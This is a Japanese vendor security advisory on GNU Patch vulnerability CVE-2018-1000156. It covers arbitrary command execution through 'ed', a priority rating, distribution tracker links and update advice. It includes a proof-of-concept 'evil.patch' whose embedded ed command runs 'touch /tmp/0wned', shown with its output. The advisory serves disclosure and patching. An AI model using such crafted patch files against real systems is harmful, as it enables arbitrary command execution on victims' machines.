GNU Patchの脆弱性(CVE-2018-1000156) — | サイオスOSS | サイオステクノロジー
GNU Patchの脆弱性(CVE-2018-1000156)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
04/06/2018にGNU Patchの脆弱性情報(CVE-2018-1000156)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。
Priority
Important
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000156
edを経由した任意のコマンド実行の可能性
重要度 – Important
GNU Patch で”ed”がインストールされている場合に発生します。GNU Patchが”ed”を起動した際に、”ed”を経由して任意のコマンドを実行することが出来ます。
PoC
“ed”がインストールされている環境で発生します。
カレントディレクトリに”beep.c”ファイルを作成します。
[omok@katello ~]$ touch beep.c
カレントディレクトリに、”evil.patch”として、次のファイルを作成します。!と”.”で始まる箇所があるのに注意してください。
--- /dev/null 2018-13-37 13:37:37.000000000 +0100 +++ b/beep.c 2018-13-37 13:38:38.000000000 +0100 1337a 1,112d !touch /tmp/0wned; ls -la /tmp/0wned .
カレントディレクトリで”patch < evil.patch”を実行すると、/tmpに”0wned”ファイルを作成し、ls -laの結果を出力します。
[omok@katello ~]$ patch < evil.patch ? ? -rw-rw-r--. 1 omok omok 0 4月 8 15:20 /tmp/0wned ? patch: **** /usr/bin/ed FAILED
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
Debian
https://security-tracker.debian.org/tracker/CVE-2018-1000156
Red Hat Enterprise Linux/CentOS
Ubuntu
https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-1000156.html
SUSE/openSUSE
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat Satelliteを使うと管理が便利でしょう。
Red Hat Satelliteを用いた一般的なErattaの適用は、『Red Hat Satellite 6でerrataを適用してみる』を 参考にして下さい。
[参考]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000156
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